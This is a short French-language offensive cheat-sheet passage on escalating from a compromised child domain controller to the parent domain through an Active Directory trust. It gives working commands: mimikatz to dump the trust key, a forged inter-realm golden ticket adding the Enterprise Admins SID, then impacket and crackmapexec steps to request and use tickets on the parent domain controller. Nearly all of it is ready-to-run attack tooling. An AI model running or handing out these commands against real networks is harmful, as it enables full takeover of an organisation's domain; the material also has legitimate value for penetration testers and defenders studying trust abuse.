### trust bidirectionnal, child -> parent
Une fois qu'on a le contrôle d'un premier DC, s'y connecter et avec mimikatz:
```powershell
lsadump::trust /patch
```
Ce qui permet de trouver les SID dont nous auront besoin, ainsi que la trustkey.
Ensuite, toujours avec mimikatz:
```powershell
kerberos::golden /user:Administrator /domain:child.internal.local /sid:S-1-5-21-3056178012-3972705859-491075245 /sids:S-1-5-21-2734290894-461713716-141835440-519 /rc4:bd0e4bd0efde459162c036970ef3489e /target:internal.local /ticket:C:\Windows\test.kirbi /service:krbtgt
```
> /domain: le domaine dont nous avons le contrôle
> /sid: le sid du domaine dont nous avons le contrôle
> /sids: le sid du domaine visé (/!\ on rajoute -519, qui correspond au groupe "enterprise admin")
> /target: le domaine visé
> /rc4: la trustkey
On récupère ensuite le .kirbi sur notre host et on le converti en .ccache:
```bash
impacket-ticketconverter test.kirbi test.ccache
```
On l'exporte:
```bash
export KRB5CCNAME=test.ccache
```
Nous pouvons ensuite faire le request d'un TGS sur le DC principal:
```bash
impacket-getST -k -no-pass -spn HOST/DC01 internal.local/
[email protected]
```
On l'exporte à son tour -> profit.
>/!\ nous sommes toujours Administrateur du domaine child, mais avec les droits sur le domaine parent, ce qui implique qu'il faut spécifier le nom du domaine dans certains cas, typiquement:
```bash
crackmapexec smb 192.168.210.10 --use-kcache -d child.internal.local
```